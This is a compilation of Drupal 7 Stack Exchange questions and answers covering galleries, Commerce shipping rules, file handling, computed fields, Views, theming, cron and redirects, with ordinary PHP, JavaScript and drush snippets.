title: Node Gallery Lightbox

text:
# Question
Title: Node Gallery Lightbox
I am using Node Gallery Module, just want to know if there is a way we can open the images in Lightbox or Colorbox? I know this can be done in Media Gallery module but can not find any way in Node Gallery.

# Answer
> 0 votes
It can be done quite easily. I'm assuming that you are using Drupal 7 and using the Node Gallery as well as the Node Gallery API.

* Install Colorbox for Drupal (including the library - follow the instructions on that page).
* Now you have to some editing of the site structure (exact paths may vary but the provided paths will work if you are using the default Node Gallery installation settings):
* go to `admin/structure/file-types/manage/image/file-display` (or browse: Admin-\>Structure-\>FileTypes-\>Image \[Manage File Display\]). Select `Node Gallery File Thumbnail` and put a check before `Colorbox`. Scroll down to Display Settings and under Content Image Style select `node_gallery_thumbnail` and select `Per page gallery` in the Gallery (image grouping) dropdown. Then Save Configuration.

Slightly complicated but not horribly so.

---
Tags: javascript, media
---


# Question
Title: Commerce free shipping for orders over €500
I am carrying on with this project where we are supposed to ship for free for orders over €500. I have two rules; `Free shipping` and `NL/BE`. I make an address based comparison and role based comparison for NL/BE and amount based in Free shipping. Now, the problem is, when I test if the customer places an order for over €500 and the shipping address is in Belgium, I am still asked whether I want a free shipping or a NL/BE shipping. Obviously this shouldn't happen. What am I doing wrong?

Thanks :)

These are my rules:

```
{ "commerce_shipping_service_nl_be" : {
    "LABEL" : "Rate NL\/BE",
    "PLUGIN" : "rule",
    "OWNER" : "rules",
    "REQUIRES" : [ "commerce_order", "rules", "commerce_shipping" ],
    "USES VARIABLES" : { "commerce_order" : { "label" : "Order", "type" : "commerce_order" } },
    "IF" : [
      { "commerce_order_compare_address" : {
          "commerce_order" : [ "commerce_order" ],
          "address_field" : "commerce_customer_shipping|commerce_customer_address",
          "address_component" : "country",
          "value" : "BE"
        }
      },
      { "user_has_role" : {
          "account" : [ "site:current-user" ],
          "roles" : { "value" : { "6" : "6" } }
        }
      }
    ],
    "DO" : [
      { "commerce_shipping_service_rate_order" : {
          "shipping_service_name" : "nl_be",
          "commerce_order" : [ "commerce-order" ]
        }
      }
    ]
  }
}
}

```

and

```
{ "commerce_shipping_service_free_shipping" : {
    "LABEL" : "Rate Free shipping",
    "PLUGIN" : "rule",
    "OWNER" : "rules",
    "REQUIRES" : [ "rules", "commerce_shipping" ],
    "USES VARIABLES" : { "commerce_order" : { "type" : "commerce_order", "label" : "Order" } },
    "IF" : [
      { "user_has_role" : {
          "account" : [ "site:current-user" ],
          "roles" : { "value" : { "4" : "4", "6" : "6" } }
        }
      }
    ],
    "DO" : [
      { "commerce_shipping_service_rate_order" : {
          "shipping_service_name" : "free_shipping",
          "commerce_order" : [ "commerce-order" ]
        }
      }
    ]
  }
}

```

# Answer
I at last managed to find out. I should have paid more attention to the video I've watched. What I needed to do was add the exact opposite condition to `NL/BE` rule, that is `if the order's total amount is lower than €500`.
> 0 votes

---
Tags: commerce
---


# Question
Title: Adding an existing file to the File records
I have a unique situation where earlier in the day, a file is uploaded to the Drupal files directory for my site (through an outside service, such as SCP), and I need to index it inside the CMS so I can interface with it through the File API. What's the best approach to do this?

# Answer
> 0 votes
It may be easiest to create a special directory to receive these incoming files. For example, if the directory is /var/www/sites/all/files/inbound then your code could do the following to scan the directory for new files and move them to the cms storage system:

```
  global $user;
  $new_files = (array) glob('/var/www/sites/all/files/inbound/*');
  foreach ($new_files as $filename) {
    $uri = file_unmanaged_move($filename);
    // Create a file object.
    $file = new stdClass();
    $file->fid = NULL;
    $file->uri = $uri;
    $file->filename = drupal_basename($uri);
    $file->filemime = file_get_mimetype($file->uri);
    $file->uid = $user->uid;
    $file->status = FILE_STATUS_PERMANENT;
    file_save($file);
  }

```

If you want to run this periodically then you can add the above to an implementation of hook\_cron.

---
Tags: 7, files
---


# Question
Title: How to inspect a css file generated by Less?
I just get running Less in a drupal site. I was exited until I try to inspect a css file generated by a less file.

The line numbers in the generated css file don't match the the line numbers in the less file.

Even though this is very understandable since the css file is a **generated file**, this is a big problem to me. I'm very used to inspect (using Chrome) to look for the line number of the style of the inspected element,then I would go to css file to look for this line and make the changes I need.

Now with less this is imposible

How do you manage this?

# Answer
There are extensions available for Firefox (sadly not for any other browsers that I can find).

There's the FireLess Plugin which is:

> a Firebug extension that makes Firebug display the Less filenames and line numbers of LessPHP-generated CSS styles rather than those of the generated CSS

Also, if you're able to switch to using SASS (which is quite similar), there's FireSass, which:

> allows Firebug to display the original Sass filename and line number of Sass-generated CSS styles.

There's nothing for Chrome at the moment (see Less/Sass debugging in Chrome Dev Tools/Firebug)
> 2 votes

# Answer
Add this line to the LESS source code at line 672

loadStyleSheets(function (e, css, \_, sheet, webInfo) { if (e) { errors.add(e, e.href || sheet.href); reject(e); }

```
        /*--->>>> THIS LINE---->>>*/ window.__lastCSS = css;

        if (webInfo.local) {
            less.logger.info("loading " + sheet.href + " from cache.");
        } else {
            less.logger.info("rendered " + sheet.href + " successfully.");
            css = postProcessCSS(css);
            browser.createCSS(window.document, css, sheet);
            cache.setCSS(sheet.href, webInfo.lastModified, css);
        }
        less.logger.info("css for " + sheet.href + " generated in " + (new Date() - endTime) + 'ms');
        if (webInfo.remaining === 0) {
            totalMilliseconds = new Date() - startTime;
            less.logger.info("less has finished. css generated in " + totalMilliseconds + 'ms');
            resolve({
                startTime: startTime,
                endTime: endTime,
                totalMilliseconds: totalMilliseconds,
                sheets: less.sheets.length
            });
        }
        endTime = new Date();
    }, reload, modifyVars);

```
> 0 votes

---
Tags: theming
---


# Question
Title: How to programmatically create node with image file saved from remote source?
I have a remote image URL address saved in `$image_url` variable and the following code to programmatically create a node:

```
  $node = new stdClass();
  $node->uid      = '1';
  $node->type     = 'article';
  node_object_prepare($node);
  $node->title    = $title;
  $node->status   = 1;
  $node->promote  = 0;
  $node->sticky   = 0;
  $node->language = 'ru';
  $node->body['und'][0]['value']   = $body;
  $node->body['und'][0]['format']  = 'filtered_html';
  node_save($node);

```

Calling `filefield_sources_save_file($image_url)` in a custom module gives:

> Warning: filesize(): stat failed for http://www.remotesite.com/images/2014/11/1414790760.jpg in filefield\_sources\_save\_file() (line 451 of /home/mysite/public\_html/sites/all/modules/filefield\_sources/filefield\_sources.module). The specified file 1414790760.jpg could not be uploaded. Only files with the following extensions are allowed: jpg jpeg gif png txt doc xls pdf ppt pps odt ods odp.

Could you please help me to make changes into above peace of code to programmatically create a node with the image in the imagefield saved from a remote source.

# Answer
Finally have figured out. The following code works fine:

```
$file = file_save_data(file_get_contents($image_url), file_default_scheme().'://tmp/'.basename($image_url));
$file->status = 1;
$node->field_image['und'][0] = (array)$file;

node_save($node);

```
> 2 votes

---
Tags: 7, files
---


# Question
Title: Need to identify higher value and lower value stored in the multivalue field
I have a Multivalued field called temperature in that everyday temperature values are stored. In that i would like to identify the highest and lowest value from that field.I found computed field module will do that but i would like to know how i achieve same in computed field.please anyone guide me do this.

Thanks

# Answer
> 1 votes
Never put code in the database. It is impossible to maintain and debug, and you spend hours wasting your time.

The computed field gives you the option to add the code to a custom module.

My answer used these three fields added to the content type:

* Temp (machine name field\_temp, integer, multi-value)
* Highest (machine name field\_highest, computed, int)
* Lowest (machine name field\_lowest, computed, int)

**Method:** Create a custom module (just module and info files), then add this to the module file:

```
function computed_field_field_highest_compute(&$entity_field, $entity_type, $entity, $field, $instance, $langcode, $items) {
  $temps = field_get_items($entity_type, $entity, 'field_temp');
  if (count($temps)) {
    $max = $temps[0]['value'];
    foreach($temps as $temp) {
      $max = $temp['value'] > $max ? $temp['value'] : $max;
    }
    $entity_field[0]['value'] = $max;
  }
}

function computed_field_field_lowest_compute(&$entity_field, $entity_type, $entity, $field, $instance, $langcode, $items) {
  $temps = field_get_items($entity_type, $entity, 'field_temp');
  if (count($temps)) {
    $min = $temps[0]['value'];
    foreach($temps as $temp) {
      $min = $temp['value'] < $min ? $temp['value'] : $min;
    }
    $entity_field[0]['value'] = $min;
  }
}

```

Read the documentation page for the computed field module to see the naming convention for adding a custom function. The function name is also visible in the field settings.

In the two functions I refer to 'field\_temp'. It is the machine name of the multi-value field holding the temperature values.

---
Tags: entities
---


# Question
Title: How to change the field label on my registration form? Drupal 7
On the default registration form, I want to change the Username label to 'Request your username'

I tried putting this in my template.php::

```
function mymodule_form_alter(&$form, &$form_state, $form_id)
{
    if ($form_id == 'user_register_form' || $form_id == 'user_profile_form') {
        $form['account']['name']['#title'] = t('Request your username');
    }
}

```

I cleared cache, but didn't see any changes.

# Answer
Just tested on a D7 site and it should work fine for you if you name the alter function "mytheme\_form\_alter" instead of "mymodule\_form\_alter"?

See this answer for more detail on module options: Changing the registration form
> 0 votes

# Answer
1. You can alter it using form\_alter() like suggested in this post User Login Form alters
2. Otherwise there is String Overrides Module which is used to alter simple labels... here is a Tutorial for it.. !!!
> 0 votes

---
Tags: users, forms
---


# Question
Title: How to alter view query to display only 5 top records
I couldn't find a similar problem on the forum so I am asking. I created a view with exposed filters but when I visit the view page I am going display 5 top recent record for specific content type. When I click search button the result changes of course and result with a pager shows up. How can I display 5 top recent records before I click search button for the first time when I visit page with the view? I thought to use hook\_views\_query\_alter to add limit to the query but I don't know how. Any ideas how to achieve that?

Thank you!

# Answer
> 0 votes
I will show you a sample of how to do it...

In this case if you want to alter the nid to be passed as query to views via filter

```
function hook_views_query_alter(&$view, &$query){
    switch($view -> name){
        case 'view_name':
            if($view->current_display == 'block'){
                $nids = calculate_nid();
                $nids = !empty($nids) ? $nids : array(0);
                $query->where[1]['conditions'][2]['value'] = $nids;
                $query->where[1]['conditions'][2]['operator'] = 'IN';
            }
            break;
}

function calculate_nid() {
// calculations to get nid.
// here you can write sql queries
}

```

# Answer
> 0 votes
If within the Views Pager options, you select "Display a specified number of items" and set "Items to display" to 5, you *will* get the behavior you are desiring. You just need to make sure your sort criteria provides whatever "top" means on your site. What I *think* you are doing instead is selecting "Use Pager" with 5 items.

---
Tags: views
---


# Question
Title: How can I set-up a custom formatter that uses target="_blank"?
I've installed the Custom Formatters module, as I could not figure out why my View setting was not working for "Rewrite output" -\> "Target" -\> "\_blank"

I need to recreate either the "Generic File" format or the "Rendered File" -\> "Link" format.

This is what I've tried but I suppose 'attributes' is not something I can add for the $variables array in theme() -

```
$output = '';
foreach ($variables['#items'] as $item) {
  $output .= theme('file_link', array(
    'file' => (object) $item,
    'attrs' => '_blank',
    ));
}
return $output;

```

That formatter code above was found on the CustomFormatters.com site for Generic Image

# Answer
OK, found an answer that works for implementing the hook\_file\_link() function in the theme's template.php file:

Answer at https://drupal.org/node/301234#comment-4764468 \- copied here:

```
function THEMENAME_file_link($variables) {
  $file = $variables['file'];
  $icon_directory = $variables['icon_directory'];

  $url = file_create_url($file->uri);
  $icon = theme('file_icon', array('file' => $file, 'icon_directory' => $icon_directory));

  // Set options as per anchor format described at
  // http://microformats.org/wiki/file-format-examples
  $options = array(
    'attributes' => array(
      'type' => $file->filemime . '; length=' . $file->filesize,
    ),
  );

  // Use the description as the link text if available.
  if (empty($file->description)) {
    $link_text = $file->filename;
  }
  else {
    $link_text = $file->description;
    $options['attributes']['title'] = check_plain($file->filename);
  }

  //open files of particular mime types in new window
  $new_window_mimetypes = array('application/pdf','text/plain');
  if (in_array($file->filemime, $new_window_mimetypes)) {
    $options['attributes']['target'] = '_blank';
  }

  return '<span class="file">' . $icon . ' ' . l($link_text, $url, $options) . '</span>';
}

```

Simply change THEMENAME to your theme name and place the code in the template file. I suppose I could extract this out into a custom formatter too.
> 2 votes

# Answer
Implemente the filefield hook(function) in theme/template.php file https://www.drupal.org/node/190566

```
<?php
function youtemplatename_filefield_file($file) {
  // Views may call this function with a NULL value, return an empty string.
  if (empty($file['fid'])) {
    return '';
  }

  $path = $file['filepath'];
  $url = file_create_url($path);
  $icon = theme('filefield_icon', $file);

  // Set options as per anchor format described at
  $options = array(
    'attributes' => array(
      'type' => $file['filemime'] . '; length=' . $file['filesize'],
    ),
  );

  // Use the description as the link text if available.
  if (empty($file['data']['description'])) {
    $link_text = $file['filename'];
  }
  else {
    $link_text = $file['data']['description'];
    $options['attributes']['title'] = $file['filename'];
  }

  //open files of particular mime types in new window
  $new_window_mimetypes = array(
    'application/pdf',
    'text/plain'
  );
  if (in_array($file['filemime'], $new_window_mimetypes)) {
    $options['attributes']['target'] = '_blank';
  }

  return '<div class="filefield-file clear-block">'. $icon . l($link_text, $url, $options) .'</div>';
}
?>

```
> 0 votes

---
Tags: 7, files, entities
---


# Question
Title: How to add a CSS class to fields in Drupal 7?
I want to add a CSS class to the HTML output of each field in my field collection.

Please recommend me some module or method to achieve this. I have tried the Fences and Field Formatter Class modules but they did not work.

# Answer
> 3 votes
You could use hook\_preprocess\_field() in which you can define additional classes for your fields.

Check these to get some idea:
http://atendesigngroup.com/blog/adding-css-classes-fields-drupal
https://gist.github.com/1184302

# Answer
> 2 votes
You should try Field Formatter Class module.

> This module allows site administrators to add classes to the outer HTML wrapper for any field display.
>
> Classes can be specified at the Manage display settings for content types, users and other entities.

**OR**

The Field Formatter CSS Class module.

> The Field formatter CSS class module allows you to set any text/list/option field to render as CSS class on the node. This enables the node author to select predefined CSS styling per node.

# Answer
> 2 votes
By following way, you can add class to a form field:

```
$form['crust_size'] = array(
  '#title' => t('Crust Size'),
  '#type' => 'select',
  '#description' => 'Select the desired pizza crust size.',
  '#options' => array(t('10"'), t('12"'), t('16"')),
  '#attributes' => array('class' => array('my-class')),

);

```

# Answer
> 0 votes
I would suggest using the Display Suite module, this will allow full ability to control the classes and markup on fields in your view modes. It also allows for better flexibility for layouts

# Answer
> 0 votes
Yes you could achieve this via Display suite module after installing the module. Here is good tutorial for it.

1. Go to manage display of your content type below the manage display form there is a layout option provided by display suite.
2. Select the layout wish and save it.
3. Now you could see a small settings in right side of each field as show in the below screenshot.
4. In choose field template select expert if you want to alter class and html tag wrapped around the field
5. If you just want to add class to fields here is a tutorial for it

---
Tags: 7, entities, theming
---


# Question
Title: How to delegate iteration of custom Drupal 7 module to cron?
I have simple module that upon visiting its page 'mymodule' it first pulls the list of remote articles, and then starts iterating their urls to pull the content and to create Drupal 7 nodes. It works great and now I would like to use cron hook to trigger this module, but have no idea how. Trying to change my code per simple instructions on http://www.alexweber.com.br/en/articles/executing-batch-cron-operations-drupal-queue, but broke the module. Could you please help me to implement cron hook with my custom module? Thanks.

Here is the code of the module:

```
    <?php

/**
 * Implements hook_menu().
 */
function mymodule_menu() {
  $items = array();

  $items['mymodule'] = array(
    'title' => 'mymodule',
    'page callback' => 'pull_data',
    'page arguments' => array(),
    'access arguments' => array('access content'),
  );
  return $items;
}

function insert_term_if_not_exists($term_name, $vocabulary_name) {
  $vocabulary = taxonomy_vocabulary_machine_name_load($vocabulary_name);
  $matched_terms = taxonomy_get_term_by_name($term_name, $vocabulary->machine_name);
  if(empty($matched_terms)) {
    $term = new stdClass();
    $term->vid = $vocabulary->vid;
    $term->name = $term_name;
    taxonomy_term_save($term);
  } else {
    $term = array_shift($matched_terms);
  }
  return $term;
}

function pull_data() {
   $str = file_get_contents('http://www.remotesite.tld/news.php?S=left');
   $re = "/\\?st=\\K\\S+(?=\\s*target)/";
   preg_match_all($re, $str, $matches);
   $content ='<h3>The following remote URLs have been processed:</h3>';

foreach ($matches[0] as $match) {
      $last_time = db_query('SELECT created FROM {node} WHERE created = :created', array(':created' => $match))->fetchField();

   if ($last_time<>$match) {

      $article = iconv('windows-1251', 'utf-8', file_get_contents('http://www.remotesite.tld/news2.php?st='.$match));

      $reg_country = "/(?<=target=left class=datn>).*?(?=<\\/a>  )/";
      preg_match_all($reg_country, $article, $country);
      $country = $country[0][0];
      if ($country == "Europe") {$country="Planet";}

      $reg_title = "/(?<=\\<title>).*?(?= \\| Europe)/";
      preg_match_all($reg_title, $article, $title);
      $title = $title[0][0];
      $title = str_replace('(фото)', '', $title);
      $title = str_replace('(фрейм)', '', $title);

      $reg_body = "/(?<=\\<p align=justify>).*?(?=<p>)/";
      preg_match_all($reg_body, $article, $body);
      $body = $body[0][0];

      $reg_source = "/(?<=target=_blank class=datn>).*?(?=<\\/a><br>Permalink)/";
      preg_match_all($reg_source, $article, $source);
      $source = $source[0][0];

      $node = new stdClass();
      $node->uid      = '1';
      $node->type     = 'article';
      node_object_prepare($node);
      $node->created = $match;
      $node->changed = $match;
      $node->title    = $title;
      $node->status   = 0;
      $node->promote  = 0;
      $node->sticky   = 0;

      if ($source == "Europe") { $node->flash=1; } else { $node->flash=0; }

      $node->language = 'en';
      $node->body['und'][0]['value']   = $body;
     $node->body['und'][0]['format']  = 'filtered_html';

      insert_term_if_not_exists($country, 'tags');
      $term_tags = taxonomy_get_term_by_name($country);
      $tid_tags = key($term_tags);
      $lang_tags = field_language('node', $node, 'field_tags');
      $node->field_tags[$lang_tags][0]['tid'] = $tid_tags;

      insert_term_if_not_exists($source, 'source');
      $term_source = taxonomy_get_term_by_name($source);
      $tid_source = key($term_source);
      $lang_source = field_language('node', $node, 'field_source');
      $node->field_source[$lang_source][0]['tid'] = $tid_source;

      $reg_image = "/(?<=\\<td><IMG src=).*?(?=border=1)/";
      preg_match_all($reg_image, $article, $image);
      if (isset($image[0][0])) {
        $image_url = 'http://www.remotesite.tld/'.$image[0][0];
        $file = file_save_data(file_get_contents($image_url), file_default_scheme().'://field/image/'.basename($image_url));
        $file->status = 1;
        $node->field_image['und'][0] = (array)$file;
      }
      node_save($node);
      $content .= $title.'<br>';
      } else { $content .='http://www.remotesite.tld/news2.php?st='.$match.' had been previously added.<br>'; }

} // for each end

return $content;

}

```

# Answer
You have to use hook\_cron. This hook gets fired when drupal cron is running. You can run the cron mannualy by going to

> /admin/reports/status/run-cron

Or if you have an expensive enough hosting provider, you can run the cron job for example every 5 minutes. The cron job will then fire drupal cron, which will execute all available hook\_cron functions.

You just have to do something like this:

```
function mymodule_cron() {
 pull_data();
}

```

Hope this helps
> 1 votes

---
Tags: cron
---


# Question
Title: How to find non-existing terms based on the list?
I've few thousands terms in my vocabulary. I'd like to find out which one still are missing (without adding them) based on the list of term names.

I believe this can be achieved by some anti-join sql query, but any solution would be fine.

How this can be achieved?

# Answer
If the list is in text file (`list.txt`), this can be achieved by `grep` comparision.

First, extract the list of terms from the database by drush:

```
$ drush sqlq "SELECT name FROM taxonomy_term_data -- WHERE vid = 1" > my_list.txt

```

Then compare the two lists:

```
$ grep -Fxv -f my_list.txt list.txt

```

This will print all the term names which doesn't exist in `my_list.txt` file.

This solution is based on: Is there a tool to get the lines in one file that are not in another?.
> 1 votes

---
Tags: 7, taxonomy-terms, drush
---


# Question
Title: After updating the metatag module I am unable to edit the metatag section of a taxonomy term
Today I have updated the Metatag module to the latest version (7.x-1.0). However, I try to edit the metatags of a taxonomy term and, after saving the change, nothing changes (it doesn't save the changes).

I have been researching into the issue and I have read that this can happen when the metatag module is not up to date.

A new development version (7.x-1.x-dev) has been released today. I have tried downloading and using the development version (7.x-1.x-dev) and I still have the same problem. Is the problem related with database corruption? What do I need to do to solve the problem?

# Answer
> 0 votes
Please try updating to the latest version, there were a few issues in 1.0 that were fixed in subsequent releases.

Disclaimer: I'm the module's maintainer.

---
Tags: updating, meta-tags
---


title: Metatag Database updates need to be ran

text:
# Question
Title: Metatag Database updates need to be ran
When im trying to add new node it gives me Error : The website encountered an unexpected error. Please try again later.

When I checked in Reports. I got this.

> PDOException: SQLSTATE\[42S22\]: Column not found: 1054 Unknown column 'revision\_id' in 'where clause': DELETE FROM {metatag} WHERE (entity\_type = :db\_condition\_placeholder\_0) AND (entity\_id = :db\_condition\_placeholder\_1) AND (revision\_id = :db\_condition\_placeholder\_2) AND (language = :db\_condition\_placeholder\_3) ; Array ( \[:db\_condition\_placeholder\_0\] =\> node \[:db\_condition\_placeholder\_1\] =\> 133 \[:db\_condition\_placeholder\_2\] =\> 133 \[:db\_condition\_placeholder\_3\] =\> und ) in metatag\_metatags\_save() (line 559 of /home/public\_html/sites/all/modules/metatag/metatag.module).

Im using Drupal 7.31 Metatag 7.x-1.0-rc2

# Answer
> 1 votes
Just create a local setup of drupal with meta tags module installed.

Now check for its table structure, if any of the table or column is missing add it manually. Because it can be issue occured you enabled the module.

Other soluion can be disable **metatag** module then uninstall it and then re-enable it. It might fix issue for you. It is just the issue of missing table and column field.

Hope it will help.

# Answer
> 0 votes
To clarify, the two most commonly missed fields are 'revision\_id' and 'language'.

It's possible the module had been installed before but improperly removed, or, if the site is old enough, it's possible that the original "Metatags" module was previously added (which will thoroughly confuse Metatag).

As Raj10 suggested, the best approach to take is to check to see what columns are missing in the database and fix it as appropriate.

Disclaimer: I'm the module's maintainer.

---
Tags: 7, meta-tags
---


# Question
Title: How to display users with same select list value to each currently logged in user
In my site each 'User' as a profile (created using Profile 2). One of the fields in the profile is a 'Select list field' that allows the user to choose his/her State of origin.

Please how can I create a View which displays to each "currently logged in user", the people who come from his/her State.

I have tried the following but it returned empty.

1. I created a User view.
2. I added some fields
3. I added the following relationship- "User:Profile"
4. I added the contextual filter on "(Profile) Profile:State" to provide default value from "User ID from logged in user" if filter value is not in the URL.
5. I added the contextual filter on "User:uid" to provide default value from "User ID from logged in user" if filter value is not in the URL.

# Answer
You should set the contextual filter to have a default value provided by the UID. Since you're trying to only display the list of users where they have the state in common, you'll need to set the default for the profile:state to be provided by the UID.
> 0 votes

---
Tags: views
---


title: How Best 301 Redirect in Drupal 7?

text:
# Question
Title: How Best 301 Redirect in Drupal 7?
How can I best redirect the following in Drupal 7?

```
stuff/bookA.pdf
stuff/bookB.pdf
stuff/magA.pdf
stuff/magB.pdf
stuff/...
stuff/magn.pdf

```

to

```
books/booka.pdf
books/bookb.pdf
mags/maga.pdf
mags/magb.pdf
mags/...
mags/magn.pdf

```

There are only a few Books (which can be redirected individually). There are hundreds of Mags.

* I cannot find a module which does this.
* I could write a custom module which checks the URL and redirects along these lines.
* I am lost writing redirects in .htaccess.

Is there a noticeable performance improvement using .htaccess over the module solution?

If using .htaccess what would the rules be?

# Answer
If you directly edit `.htaccess` (at the root directory of Drupal), I suppose you may as well be very careful, because any update of Drupal may delete it. For that reason, as I understand it is not recommended in general.

I have been using Redirect module for that purpose and am content with it. With the module, you can manually set the redirection for each path in its configuration panel. But as you have hundreds of paths, perhaps you want a programmatical way. An article by Dale McGladdery is concise and helpful for how to do that, using the module (It uses the Migration module; in your case ignore that part and set "From" and "To" URLs to suit your requirements). Basically, you use `redirect_save($redirect)` function, where `$redirect` is the `stdClass` object, definining the paths and type of redirection.

A potential trouble in his example is, if the same redirection exists, it raises an error. Therefore if you ever rerun the process to set up the redirections, you will have a trouble. To overwrite the existing redirection, you need to appropriately set `rid` of the object to pass to the funciton `redirect_save()`. I have done that in my migration, and you can have a look at the source code at GitHub (`complete()` section), if you want to have a look at an example.
> 0 votes

---
Tags: redirection, .htaccess
---


# Question
Title: Put node url in href to all img tags with jquery
I have a drupal site and i want to put all nodes url to all img tags! With bellow code can do this but all img linked to the same post url in the main pages, because take the link of the final post and put to all img. The Code i added to node.tpl.php file.

```
<script>
      jQuery(document).ready(function($) {
      $(document).ready(function() {
      $('img').wrap("<a href='<?php print $node_url; ?>' </a>");
    });
    });
</script>

```

Thank you

# Answer
> 1 votes
1. There is no reason to wrap document.ready inside another call to document.ready. If it's ready, then it's already ready!
2. The reason your code does not work is because it is assigning the same link to all images on the page. You want your code to link to the node that contains the image.
3. I would not use jQuery for this at all. Views+Imagecache were designed to do this sort of thing and they do it well. Use views to create the page, and use when displaying the image use the "Image linked to node" option.
4. If you really really don't want to do it that way, then change your code to be this to give it proper scope (right now it is affecting images outside the target node and causing your page to get images wrapped in 20 different `<a>` tags!):

```
<script type="text/javascript">
  jQuery(document).ready(function($) {
    $('img', '#node-<?php print $node->nid; ?>').each(function() {
      var url = '<?php print $node_url; ?>';
      $(this).wrap('<a href="' url + '"></a>');
    });
  });
</script>

```
5. Or better yet, don't add it via php and put this in a js file included by your theme instead:

```
  jQuery(document).ready(function($) {
    $('article img').each(function() {
      var url = $(this).closest('article').find('h1.node-title a').attr('href');
      $(this).wrap('<a href="' url + '"></a>');
    });
  });

```

---
Tags: javascript
---


# Question
Title: problem migrating my drupal site PDOException: SQLSTATE[42000] [1044] Access denied for user
I have just loaded my drupal 7.32 site to JustHost from my pc (running xampp) copied the files across, and exported and imported the database to JustHost cpanel, i browse onto the website and I get the error message below. I have triple checked my database name and username of the database and password and they are correctly specified in my settings.php file. My database was called 'school2' on the pc, but I'm not sure that will affect anything.

I get this error message:-

PDOException: SQLSTATE\[42000\] \[1044\] Access denied for user 'caerleon\_prim'@'localhost' to database 'caerleon\_prim' in lock\_may\_be\_available() (line 167 of /home4/caerleon/public\_html/includes/lock.inc).

Can anyone help?

# Answer
> -1 votes
With JustHost you need to assign the user to the database from the Database Maintenance drop down page. Instructions are on their site too. I did this, and it fixed my problem.

---
Tags: database, migrations
---


title: Image upload field won't show

text:
# Question
Title: Image upload field won't show
I have added a image field with upload widget to my content type. It is shown when I try to add content as administrator, but not with other user types. Any ideas what may be wrong? Probably some permission or something, but I am simply unable to find out which setting this may be. Any help?

Seems like the fields are visible if I disable the "OG Field access" module. But when I enable it again, I cannot see the fields.

# Answer
If it's a permissions problem you should go to the People tab at the top of your nav bar. Then under People click on "Permissions" and see if you can find the permissions for the image field and give other users permission there.
> 0 votes

---
Tags: media
---


# Question
Title: Can I move a webform to another drupal installation?
I have created a few webforms on our development server and would like to move them over to a production installation. Can I do this with node export?

I'm not concerned with migrate any user responses (as we were only testing).

# Answer
> 10 votes
You didn't say what version you are using but if it is drupal 6, there is a module for that exact purpose.

http://drupal.org/project/webform\_share

Edit: Since posting this, the module has been updated with a Drupal 7 branch as well.

# Answer
> 5 votes
I'm not familiar with webform\_share, but I have had good experience with a module called Node Export, which works pretty well with webforms, and notably with webforms where the form is integrated with CiviCRM via the webform\_civicrm integration module.

---
Tags: 6, webforms, migrations, importing-exporting
---


# Question
Title: Rate module thumbs up / down widget with button
I am using rate module to count likes and dislikes. Here I am using Thumbs up / down widget. My question is that how can I show a button below thumbs up and dislike button below thumbs down.

In the image given below there is text "Total likes". Here I would like to place a button and this button should provide same functionality that thumbs up is providing.

# Answer
> 0 votes
i found answer of my question. find rate-template-thumbs-up-down.tpl.php file in rate -\> templates -\> rate-template-thumbs-up-down.tpl.php

copy this file and place in your\_theme/templates folder.

then override this file by below code:

```
<?php

/**
 * @file
 * Rate widget theme
 */
 ?>

 <?php
 /*
 <div class="rate-label">
 <?php print $display_options['title']; ?>
 </div>
 */
 ?>
 <div class="like-container">
 <div class="likes">
 <span>
 <img src="<?php print base_path() . drupal_get_path('theme', 'bartik'); ?
 >/images/likes.png"></span>
 <span><?php print $results['up']; ?></span>
 <span> total likes</span>
 </div>
 <button class="likes-button"><?php
 print theme('rate_button', array(
  'text' => t('Likes'),
  'href' => $links[0]['href'],
  'class' => "likes-button-link")
 );

 ?></button>
 </div>

 <div class="dislike-container">
 <div class="dislikes">
 <span>
 <img src="<?php print base_path() . drupal_get_path('theme', 'bartik'); ?
 >/images/dislikes.png">
 </span>
 <span><?php print $results['down']; ?></span>
 <span> total dislikes</span>
 </div>
 <button><?php
 print theme('rate_button', array(
  'text' => t('Dislikes'),
  'href' => $links[1]['href'],
  'class' => "dislikes-button-link")
 );
 ?></button>
 </div>

```

---
Tags: views, 7, theming, rating
---


# Question
Title: Drupal 7 GetLocations field geocoding off?
I am using this: https://www.drupal.org/project/getlocations

The problem is, when I add a geolocations field to a content type, and type in, for example:

```
Boulders Beach, Kleintuin Road, Cape Town, Western Cape

```

If I see maps.google.co.za, I get:

```
-34.197116,18.451423

```

But the geolocations field gives me:

```
-34.1964859,18.45004849999998

```

In this specific case the difference isn't that big, but I've had a few cases where it's completely wrong. For example:

```
Spier Wine Farm, Stellenbosch

```

Correct google result:

```
-33.973474,18.782544

```

what I get on the geolocations field:

```
-33.9805299, 18.773583700000017

```

It looks like they are off by 0.007, 0.009.

Any ideas why this could be happening?

# Answer
> 3 votes
The API geocoder may be different from the Maps geocoder (see the FAQ in the API documentation). The results may even vary for users from different users from different countries. For me, `Spier Wine Farm, Stellenbosch` results on Google Maps in `-33.9733628,18.7825561`.

In general, it seems that sometimes providing less information in an address results in more exact coordinates, see this similar question on s.o.

UPDATE: Interesting fact: the same address produces even different coordinates for different browsers. Coordinates stated above came from Google Chrome. When doing the same in Mozilla Firefox, I get `-33.973474,18.782544` (which is what you had in your question).

---
Tags: google-maps
---


title: No shipping rates found for your order

text:
# Question
Title: No shipping rates found for your order
I have created a Flat Rate Service and defined 10 dollars base rate. No calculation rules nothing else. But when I am trying to checkout

Shipping service No shipping rates found for your order. Please continue the checkout process.

Do I need to define any calculation rules etc..

# Answer
You do not need to define any calculation rules. The problem is that you are checking out when the rule doesn't apply to you. For example, if you do NOT have the role B and you are checking out, when you are checking if the user has the role B, you will get this message.
> 1 votes

---
Tags: commerce
---


# Question
Title: How to make a reset form button without type 'markup'?
**My situation:**

I built a form with FAPI. I display the results in a table like this:

```
function grap_contact_repository_form_submit($form, &$form_state) {
  ...
  $form_state['results_table'] = array('#markup' => grap_contact_repository($matches));
  $form_state['rebuild'] = TRUE;
}

```

The `grap_contact_repository` function returns a theme\_table.

**My problem:**

Because of the results\_table that already uses a `#markup` type, I can't build a reset button for my form using `'#type' => 'markup'` too. (Because all the results table will be clickable too).

I'm looking for an alternative to make this button work. I tried this:

```
$form['clear'] = array(
  '#type'       => 'button',
  '#value'      => 'Réinitialiser',
  '#attributes' => array('onclick' => 'this.form.reset();'),
);

```

or this: (http://www.blue-bag.com/blog/drupal-form-api-reset-button)

```
  $form['reset'] = array(
    '#type' => 'button',
    '#button_type' => 'reset',
    '#value' => 'Réinitialiser',
    '#validate' => array(),
    '#attributes' => array(
      'onclick' => 'this.form.reset(); return false;',
    ),
  );

```

